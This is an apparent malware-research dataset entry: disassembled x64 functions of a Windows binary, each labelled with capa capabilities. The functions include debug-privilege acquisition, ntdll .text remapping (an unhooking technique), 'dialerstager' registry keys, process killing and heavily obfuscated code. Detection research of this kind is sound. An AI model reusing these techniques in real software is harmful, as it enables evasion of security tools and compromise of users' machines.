joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002078
Capabilities:
Read file via mapping

Disassembly:
test rcx, rcx
je 0x14000228a
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x270
mov rbx, rcx
lea rdx, [0x140003470]
lea rcx, [rsp + 0x60]
xor r13d, r13d
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov rdx, rbx
lea rcx, [rsp + 0x60]

Function at 0x140002328
Capabilities:
Acquire debug privileges
Extract resource via kernel32 functions
Set registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x90]
sub rsp, 0x190
lea rcx, str.ntdll.dll
call fcn.140002078
mov edx, 0x11c
lea rax, [rsp + 0x70]
mov ecx, edx
mov qword [rbp + 0xc0], rax
xor edi, edi
mov rax, qword [rbp + 0xc0]
mov byte [rax], dil
mov rax, qword [rbp + 0xc0]
inc rax
mov qword [rbp + 0xc0], rax
sub rcx, 1
jne 0x14000235c
mov dword [rsp + 0x70], edx
mov r8b, 3
lea edx, [rcx + 2]
mov qword [rsp + 0x74], 0xa
mov word [rbp + 0x84], di
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 1
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov edx, 0x23
lea rcx, [rsp + 0x70]
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea rcx, str.kernel32.dll
call fcn.140002078
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x410
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140002486
lea r8, [rbp + 0xc8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000247d
lea r8, [rbp + 0xb0]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14000247d
mov rax, qword [rbp + 0xb0]
lea r8, [rsp + 0x60]
mov rcx, qword [rbp + 0xc8]
mov r9d, 0x10
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x64], rax
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x6c], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]

Function at 0x140002c18
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov dword [rax + 8], ecx
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
lea rcx, str..pipedialercontrol_redirect64
and dword [rax - 0x20], 0
mov edi, r8d
mov rsi, rdx
mov dword [rax - 0x28], 3
xor r8d, r8d
mov edx, 0xc0000000
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002cad
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test rsi, rsi
je 0x140002ca4
test edi, edi
je 0x140002ca4
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1400072c0
Capabilities:
Set registry value

Disassembly:
and al, byte [0x140078c59]
add byte [rax], al
enter 0x83, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
add byte [rax + rax + 0x3000], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
invalid
je 0x140007311
insd dword [rdi], dx
shl byte [rsp + 0x28], 0x4c
and dword [rsp + 0x28], 0xf8a136ad
mov rbx, qword [rsp + 0x20]
not dword [rsp + 0x28]
jo 0x1400a334e
jge 0x14000a122
push rdx
pushfq
invalid
sub rsi, qword [rsp + 0x50]
jg 0x1400d0e05
shr rsi, 0xaa
call fcn.1400d58aa
mov bh, 0xcf
sub byte [rax], cl
lodsd eax, dword [rsi]
loop 0x14000a0d9
adc ch, al
xor bl, bl
or al, byte [rax]

Function at 0x1400072e8
Capabilities:
Set registry value

Disassembly:
and al, byte [0x140078c59]
add byte [rax], al
enter 0x83, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
add byte [rax + rax + 0x3000], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
invalid
je 0x140007311
insd dword [rdi], dx
shl byte [rsp + 0x28], 0x4c
and dword [rsp + 0x28], 0xf8a136ad
mov rbx, qword [rsp + 0x20]
not dword [rsp + 0x28]
jo 0x1400a334e
jge 0x14000a122
push rdx
pushfq
invalid
sub rsi, qword [rsp + 0x50]
jg 0x1400d0e05
shr rsi, 0xaa
call fcn.1400d58aa
mov bh, 0xcf
sub byte [rax], cl
lodsd eax, dword [rsi]
loop 0x14000a0d9
adc ch, al
xor bl, bl
or al, byte [rax]

Function at 0x140007310
Capabilities:
Set registry value

Disassembly:
push r10
movabs r10, 0xe527162ffa32be3d
pushfq
shr r10b, 0xb9
cmp r10d, 0x32bc718e
mov rdx, qword [rsp + 0x20]
mov r10b, 0x8c
jae 0x14007df6e
and r10, 0x6d215321
shl r10w, 0x3a
neg r10d
shl r10d, 0x25
sub r10b, 0xba
lea rdx, [rdx + 1]
add r10b, 0x30
jg 0x14009c19b
Function at 0x140007359
Capabilities:
Set registry value

Disassembly:
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rdi
lea rdx, [0x140003330]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf013f
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002602
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [rsp + 0x58]
lea rdx, [0x140003530]
mov dword [rbp + 0xb8], eax
mov r9d, ebx
lea rax, [rbp + 0xb8]
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x28], rdi
lea r9, [0x1400026ac]
lea r8, [0x140002d84]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea rcx, [0x1400026c8]
mov qword [rsp + 0x28], rdi
mov ebx, 0x64
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140002cc0]
mov qword [rax + 8], rcx
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r9, [0x1400026e8]
mov qword [rsp + 0x28], rdi
lea r8, [0x14000228c]
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002693
je 0x140002581
js 0x14007a565
mov r12, qword [rsp + 0x20]
not r12
shr r12w, 0xef
or dword [rsp + r12*2 + 0x5594001e], 0xcaa4e8a
mov r12, qword [rsp + r12*2 + 0x55940006]
and byte [rsp + 0x20], 0x91
and qword [rsp + 0x20], 0xfffffffff4a38887
push qword [rsp + 0x28]
popfq
lea rsp, [rsp + 0x38]
ret
add qword [rsp + 8], 0x73841
add edx, 0x5b0b4d0b
and r11w, 0x9412
call fcn.1400c1524

Function at 0x14000794b
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je fcn.1400014bc
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x400]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea r15d, [r9 + 0x19]
mov edx, r15d
neg r14w
mov rcx, r14
add qword [rsp + rcx - 0x4aaaed46], 0xffffffffbfff80a2
mov rdx, qword [rsp + r14 - 0x4aaaed1e]
not r14b
or r14, rcx
js 0x14000124b
jg 0x1400c13bb
sub al, ch
invalid

Function at 0x1400081db
Capabilities:
Create thread

Disassembly:
js 0x14007dee3
neg r13d
mov r13, qword [rsp + r10*2 - 0x7d4fffa6]
jns 0x140007a8c
mov word [rsp + r10 - 0x3ea7ffcb], r10w
call fcn.14006fd74
Function at 0x14000cb65
Capabilities:
Encode data using xor

Disassembly:
neg r10b
sete byte [rsp + 0x80]
neg r12
add qword [rsp + 0x58], 0xffffffff8d104285
shr word [rsp + 0x58], 0x47
mov r12, qword [rsp + 0x28]
fimul dword [rdi]
xchg esp, eax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx - 9], cl
fmul qword [rax - 0x7f]
and al, 0x58
test dword [rdx + 0x10], eax
lea esp, [rsi - 0x3f]
insb byte [rdi], dx
and al, 0x58
mov r12, qword [rsp + 0x28]
xor byte [rsp + 0x58], 0
or qword [rsp + 0x80], 0xffffffff8cbd0e28
test byte [rsp + 0x58], 0xa8
mov r10, qword [rsp + 0xa0]
jno 0x140090821
mov eax, 0xb0bf4
xchg byte [rdi], cl
jne 0x14000cb67
invalid
call fcn.1400d442c
push r8
push r14
push r12
movabs r12, 0x6787d185303e703c
lea rax, [rax + 0x6f3545b0]
pushfq
mov r8, r12
call fcn.14000cf91
Function at 0x14001e445
Capabilities:
Create thread
Extract resource via kernel32 functions
Set registry value

Disassembly:
adc eax, 0x246499
test eax, eax
je 0x14000247d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x14000352c]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x14000269d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [0x140005010], eax
test eax, eax
je 0x14000269d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000269d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x140005008], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.1400017f8
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SOFTWAREdialerconfig
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000260d
lea r9, [rbp + 0xb0]
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xc8]
mov dword [rbp + 0xb0], edi
lea edx, [rax + 1]
lea rcx, str.D:_A_OICI_GA___AU__A_OICI_GA___BA_
call qword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
mov ebx, 4
test eax, eax
je 0x140002587
mov r8, qword [rbp + 0xc8]
mov edx, ebx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
mov rcx, qword [rbp + 0xc8]
xor eax, eax
add rsp, 0x190
pop rdi
pop rbx
pop rbp
ret
lea r12, [r12 + r12*4 - 0x3cdf2374]
setle r12b
je 0x14000246e
push r12
movabs r12, 0xf790bd05533d33a7
pushfq
or r12w, 0xf515
xchg qword [rsp + 0x18], rax
jae 0x140011ab8

Function at 0x140021170
Capabilities:
Delete registry key

Disassembly:
or di, 0xef36
mov rbp, qword [rsp + r9 - 0x67ffffd8]
mov rbp, qword [rbp + r11*2 + 0x77505ab8]
cmp di, 0xe532
mov qword [rsp + r9 - 0x67ffffd8], r11
jl 0x1400a56fc
sub byte [rsp + r9 - 0x67ffffd8], 0x9d
add word [rsp + r9 - 0x67ffffd8], di
xor r11d, edi
push r9
lea rbp, [rbp - 0x59c42ad9]
add qword [rsp + r9 - 0x67fffff8], 0xffffffffbffede39
mov r9, qword [rsp + r9 - 0x67ffffd0]
or r9b, dil
xor qword [rsp + r9*2 + 0x77505a32], rdi
xchg qword [rsp + r11 - 0x43fd2d23], rbp
mov r11, qword [rsp + r9 + 0x3ba82d21]
xor qword [rsp + 0x30], rdi
je 0x14002f7ec
call fcn.14000b0e6
pop rbp
call fcn.14002f234
movabs r10, 0x722da9345aa88b8d
jns 0x14006970e
sub sil, 0x36
mov r10, qword [rsp]
xor dword [rsp + 8], 0xf20dad96
mov ah, 0x4c
or bl, byte [rbp - 0x74b75594]
mov ah, 0xe
test dword [rsi + 0x36], ecx
invalid
or r11b, 0xa4
jl 0x140021170
xchg qword [rsp + r9*4 - 0x3729051c], rbx
mov r9, qword [rsp + r9*4 - 0x3729054c]
cmp byte [rsp + 0x70], 0x93
jbe 0x1400c1478
scasd eax, dword [rdi]
clc
pop rdi
jno 0x1400d1c5f
invalid
Function at 0x14002f20f
Capabilities:
Encode data using xor

Disassembly:
jae 0x140085580
call fcn.14005fb88
adc dl, bl
stosd dword [rdi], eax
out dx, eax
adc dword [rcx + 0x76], ecx
leave
wait
sub dword [rsp + rdx*8 - 0x55feadc6], edi
in al, dx
and dh, byte [rbx + 0x762131d7]
sar dword [rbx - 0x4d9b275f], 1
xor ch, byte [rcx - 6]
xchg esp, eax
invalid

Function at 0x14004e111
Capabilities:
Terminate process

Disassembly:
mov eax, 0x7273
cmp word [rbx + 4], ax
jne 0x140001887
cmp dword [rbx], r14d
je 0x140001887
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140001887
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 0x10
sub rdi, 1
jne 0x14000184d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
push r10
cmp r8d, 0x823f62a3
push rdi
push r15
movsx r8d, r8b
xchg qword [rsp + 0x30], rax
movabs rdi, 0xd737f98385ae8381
push r13
movabs r10, 0xcd1e1bb6971c1d81
jae 0x140001881
or r10d, r8d
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x30], rax
call fcn.1400742ed

Function at 0x14004f673
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movabs rdi, 0x45a849aed0282308
test di, di
push r12
mov r12, qword [rsp + 0x40]
lea r12, [r12*4 + 0x4622c894]
lea rax, [rax + 0x6f2f8a24]
cmovae r13, qword [rsp + 0x40]
neg qword [rsp + 0x40]
shr r10d, 0xb7
push rbx
push r15
mov rbx, r10
Function at 0x14004fdf4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
call qword [sym.imp.SHLWAPI.dll_StrCatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
test rax, rax
je 0x140002270
lea edi, [r13 + 0x18]
lea rax, [rsp + 0x40]
mov edx, edi
mov qword [rsp + 0x2b8], rax
lea ebx, [rdi - 0x17]
mov rcx, qword [rsp + 0x2b8]
mov byte [rcx], r13b
mov rcx, qword [rsp + 0x2b8]
add rcx, rbx
mov qword [rsp + 0x2b8], rcx
sub rdx, rbx
jne 0x1400020e9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, edi
lea r8, [rsp + 0x40]
mov rcx, rax
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x140002267
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], r13d
xor r9d, r9d
mov r8d, ebx
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002267
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbp, rax
test rax, rax
je 0x14000225e
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
test rax, rax
je 0x140002255
mov rcx, qword [rsp + 0x40]
movzx edi, r13w
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
cmp r13w, word [rbx + 6]
jae 0x140002255
movzx ecx, word [rbx + 0x14]
add rcx, rbx
movzx eax, di
lea rdx, [rax + rax*4]
lea r12, [rcx + rdx*8]
lea rcx, [r12 + 0x18]
lea rdx, str..text
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1400021ff
inc di
cmp di, word [rbx + 6]
jb 0x1400021cc
jmp 0x140002255
mov edi, dword [r12 + 0x24]
lea r9, [rsp + 0x2b0]
add rdi, qword [rsp + 0x40]
mov r8d, 0x40
mov ebx, dword [r12 + 0x20]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [r12 + 0x24]
mov r8d, ebx
add rdx, r15
mov rcx, rdi
call fcn.1400018b8
mov r8d, dword [rsp + 0x2b0]
lea r9, [rsp + 0x2b0]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x270
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movsx rcx, dx
mov rbx, rcx
mov cx, 0xc609
setns dl
add qword [rsp + rbx*2 + 0x28], 0xffffffffbffb22e4
not dx
lea rax, [rax + rbx - 0x375de4f3]
sub rbx, 0x42808dbe
add rbx, rcx
je 0x14005becb
shr ebx, 0x85
and rdx, 0xffffffff8017c7a5
xor bx, 0x499f
xchg qword [rsp + rbx*8 - 0x2f6242a0], rax
mov rdx, qword [rsp + rbx*2 - 0xbd890a2]
jb 0x1400020b8
not cl
call fcn.14005af61
test byte [rsp + rax*4 - 0x58], cl
or ch, byte [rbx]
add eax, 0x1fc5e887
call 0x140051e27

Function at 0x140052533
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
movabs r14, 0xf5b1f60457b71b38
lea rax, [rax - 0x66e3e2cb]
ja 0x1400a0903
Function at 0x140058c91
Capabilities:
Enumerate process modules

Disassembly:
pushfq
movabs rcx, 0xa400e629b1a17029
mov r12, rcx
mov rax, qword [rsp + 0x28]
or r12w, 0x738d
or cx, 0x648f
push rdx
movabs rdx, 0x30bab93b722d90a9
jb 0x140001629
shl cl, 0x4a
lea rax, [rax + 1]
setne cl
sub r12d, 0x379afcaf
neg r12w
push r10
jbe 0x1400d16b4
push rbx
push rdi
call fcn.14005f835

Function at 0x14005cfc6
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov rax, qword [0x14003f7c8]
bts rdx, r8
btc rdx, 0x11
sbb dx, r8w
mov rdx, rcx
sbb cl, r11b
mov ch, 3
cmp ebx, 0x8c2060b8
mov rcx, qword [rax]
test rcx, rcx
jmp 0x140098cdd
call 0x140010a11
jmp 0x1400228a4

Function at 0x14005df53
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
shr qword [rsp + r11*4 + 0x68], 0xff
jns 0x140069d44
mov r11, qword [rsp + 0x30]
shl r14, 0x25
cmp byte [rsp + 0x78], 0xb6
mov dword [rsp + r13*2 - 0x105d98], r14d
call fcn.14001d536

Function at 0x14006bb2a
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
call fcn.14009fd1d
add eax, dword [rax]
xor esi, dword [rbx + riz*8 + 0x75]
mov ebp, dword [rdx + 0x174828de]
mov dl, bl
push 0xffffffffabbb5d19
mov bl, 0x99
sub spl, byte [r14 + 0x60dfe068]
or dl, byte [rax]
lea ebx, [rbp + 0x53e8cb4b]
insd dword [rdi], dx
mov eax, edx
test al, 0x1d
test byte [rcx + rbx*2 - 0xf], ah
jg 0x14006bb2d
mov esi, 0x6d47f00f
pop rbx
xchg rdi, rax
push 0xffffffffdf51a932
cmpsb byte [rsi], byte [rdi]
jmp 0x1558c58d5

Function at 0x140077e25
Capabilities:
Delete registry value

Disassembly:
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002825
mov rcx, qword [rbp + 0x390]
lea rdx, str.dialerstager
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
call fcn.140001ac4
call fcn.140001768
call entry0
or ecx, 0xffffffff
call fcn.1400017f8
jmp fcn.140002c00
mov qword [rsp + r14 - 0x42aab69c], rbx
jb 0x140002807
lea r12, [r14 + r14*8 + 0x4fad903c]
sub r14d, 0xc5266d90
push r11
add qword [rsp + 8], 0xfffffffffffbedcb
lea r12, [r12*8 - 0x3b4ad170]
movabs r11, 0xbb14541310919b9b
mov r12w, r11w
call fcn.1400c49e0

Function at 0x140078a1f
Capabilities:
Get token privileges

Disassembly:
call fcn.1400cb928
mov r13, qword [rsp + r13 - 0xd6e7]
mov rcx, r12
jg 0x140077e6e

Function at 0x140078a30
Capabilities:
Get token privileges

Disassembly:
mov rdi, qword [rsp + 0x20]
setns r13b
js 0x1400a302b
push r11
movabs r11, 0xfd8a309877876c3a
lea r13, [r13*2 + 0x661b2932]
test r13w, 0x232f
lea rdi, [rdi + 1]
jg 0x140067652
sub qword [rsp + 0x58], rdx
not dword [rsp + 0x58]
jl 0x1400c16b9
mov rdx, qword [rsp + 0x20]
or qword [rsp + 0x58], 0x6831d105
call fcn.14008aca7
shl r13w, 0xb5
jns 0x1400493f0
call fcn.14004a232
xchg esi, eax
pop rax
rcl byte [rbx - 0x4a67adf8]
cmc
invalid
Function at 0x140079422
Capabilities:
Enumerate process modules

Disassembly:
lea r8, [rsp + 0x48]
mov edx, r15d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x140002d76
mov ecx, dword [rsp + 0x48]
xor ebx, ebx
shr ecx, 2
mov dword [rsp + 0x48], ecx
test ecx, ecx
je 0x140002d64
xor edx, edx
test esi, esi
je 0x140002d53
mov r8d, dword [rdi + rbx*4]
cmp r8d, dword [rbp + rdx*4]
je 0x140002d5e
inc edx
cmp edx, esi
jb 0x140002d46
mov ecx, dword [rdi + rbx*4]
call qword [r14 + reloc.OLEAUT32.dll_VariantClear]
mov ecx, dword [rsp + 0x48]
inc ebx
cmp ebx, ecx
jb 0x140002d3c
mov r8, r15
mov rdx, rdi
mov rcx, rbp
call fcn.1400018b8
mov esi, dword [rsp + 0x48]
mov ecx, dword [r14]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002d16
lea rdx, [r14 + r14 + 0x151678b6]
and rdx, 0x469466af
jb 0x140002d79
mov rdx, qword [rsp + r14 - 0x6ea3ff78]
mov rdx, qword [rdx + r14 - 0x6ea3ff80]
bswap r14d
shr r14d, 0x79
shr r14d, 0xa4
mov r14w, 0x4c94
add qword [rsp + r14*2 - 0x9908], 0xffffffffbffa3755
mov qword [rsp + r14*2 - 0x9920], r14
lea rdx, [rdx + r14 + 0x22b89c0d]
call fcn.140009890
retf 0xdf8b

Function at 0x14007a517
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
cmp r10d, 0xf2228eb2
jge 0x1400808dc
call fcn.1400bb24a
shl r8b, 0x1e
call fcn.140091b33

Function at 0x14008112e
Capabilities:
Encode data using base64

Disassembly:
mov rcx, qword [rsp + 0x18]
not byte [rsp + rcx - 0x53d2df6a]
add rcx, 0xfffffffff6176436
add dword [rsp + rcx - 0x49ea43a0], ecx
xor word [rsp + rcx - 0x49ea43a0], 0x6d07
shr rcx, 0xe6
lea rdi, [rdi + rcx + 1]
push r11
movabs r11, 0xb5820c84d5ad50a4
lea rcx, [r11 + r11*4 - 0x154f658]
or r11b, 8
js 0x1400caa3c
mov qword [rsp + 0x30], rdi
sub r11b, 0x3d
jge 0x1400465b8
and cl, ch
shr word [rsp + 0x20], cl
add qword [rsp + 8], 0x3310
mov rdi, qword [rsp + 0x20]
push r8
or word [rsp + 0x28], 0x813b
mov r8, rdi
push r10
mov rdi, qword [rsp + 0x18]
mov rdi, qword [rdi]
movabs r10, 0x2a1a288445b120a6
jns 0x14007e88f
setno r8b
and rcx, r8
lea r8, [rcx + r10*2 + 0x773f0600]
lea rdi, [rdi - 0x2b48fde5]
mov qword [rsp + 0x18], r8
mov ecx, dword [rsp + 0x1b]
and cl, byte [rsp + 0x35]
call fcn.14004af70
sbb al, 0x55
cmp edi, esp
pop rdi
push rax
jmp qword [rcx - 0x19]

Function at 0x14008df9c
Capabilities:
Get token privileges

Disassembly:
jo 0x1400a30ff
mov r13, qword [rsp + 0x48]
shl byte [rsp + 0x20], 0xfc
neg dword [rsp + 0x60]
push qword [rsp + 0x68]
popfq
lea rsp, [rsp + 0x70]
ret
Function at 0x14008e518
Capabilities:
Create process on windows

Disassembly:
lea rcx, [rcx - 0x7275ef6a]
bswap rbp
neg ebp
add qword [rsp + rdx*2 - 0x6dfd5fc6], 0xfffffffffffe1409
not qword [rsp + rbp*4 + 0x10]
cmp bp, word [rsp + rdx - 0x36feafdf]
cmovne ebp, dword [rsp + rdx - 0x36feafde]
add qword [rsp + rdx - 0x36feafef], 0xffffffffbff8f1f6
xchg qword [rsp + 0x50], rcx
mov rbp, qword [rsp + 0x20]
and qword [rsp + 0x10], 0xfffffffffc12d2a3
mov r10, qword [rsp + rdx*2 - 0x6dfd5fd6]
cmp dil, 0xb9
jne 0x1400a12fe
push rdx
invalid
add dl, 0x80
cmp dword [rsp + r10*2 - 0x645fdf46], 0xfc165ca5
jns 0x1400b330d
mov rdx, qword [rsp + r10 - 0x322fef73]
neg word [rsp + r10*2 - 0x645fdf46]
jge 0x14001ff40
cwde
invalid

Function at 0x14009dbff
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process

Disassembly:
jns 0x140088496
jb 0x1400c3700

Function at 0x1400a2ff3
Capabilities:
Get token privileges

Disassembly:
call fcn.1400609c3
mov qword [rsp + 0x18], rax
call fcn.14009d07c
setg r12b
movsx ebx, r12w
xor byte [rsp + 0x48], bh
xor r12d, 0xfa0440ad
and bx, 0x71ac
not r12w
mov rbx, qword [rsp + 0x20]
je 0x140052550
call fcn.14008c2cb
test si, 0xc589
setns r9b
xor r9d, 0x1e0a5a19
call fcn.1400ce3c3
invalid
test qword [rsp + 8], r12
xchg qword [rsp + 0x68], rdx
mov r12, qword [rsp + rbp*8 - 0x748e2740]
lea rbp, [rbp*8 + 0x211a817]
movsx ebp, bpl
call fcn.1400a6ab3
jbe 0x140080a05
mov r15, qword [rsp + 0x38]
and word [rsp + r9 + 0x5608ff5b], 0xfd0a
call fcn.14008e8c0
not r12
mov qword [rsp + 8], r12
xor r12, 0xfffffffffc94fe8d
shr qword [rsp + rbp*4 - 0x38837158], 0x7a
sub dword [rsp + rbp - 0xe20dc50], 0x8f22c431
lea rdx, [rdx + 0x4a9fc084]
add bp, word [rsp + rbp - 0xe20dc50]
jo 0x14006c46d
not bp
add ebp, dword [rsp + rbp - 0xe20e7a6]
jge 0x14009efcf
adc eax, dword [rbp - 0x4822d93b]
lodsd eax, dword [rsi]
fcomp qword [rax - 0x71b29986]
call 0x16dddb813
jne 0x1400a3099
cmc
stosd dword [rdi], eax
insd dword [rdi], dx
and byte [rax + 0x66], al
invalid
test dword [rsi - 0x6b7df571], esp
clc
xchg edi, eax
cmpsb byte [rsi], byte [rdi]
cld
pop rax
jnp 0x1400a30dc
xor al, 0x1e
test byte [rdi - 0x1c316d48], al
invalid
push rsp
and al, 0
pushfq
or word [rsp + 8], 0x7fac
add qword [rsp + 8], 0x4fb63494
add word [rsp + 8], 0xa782
sub dword [rsp + 8], 0x2b207c91
push rcx
mov rdi, qword [rsp + 0x20]
call fcn.14008112e

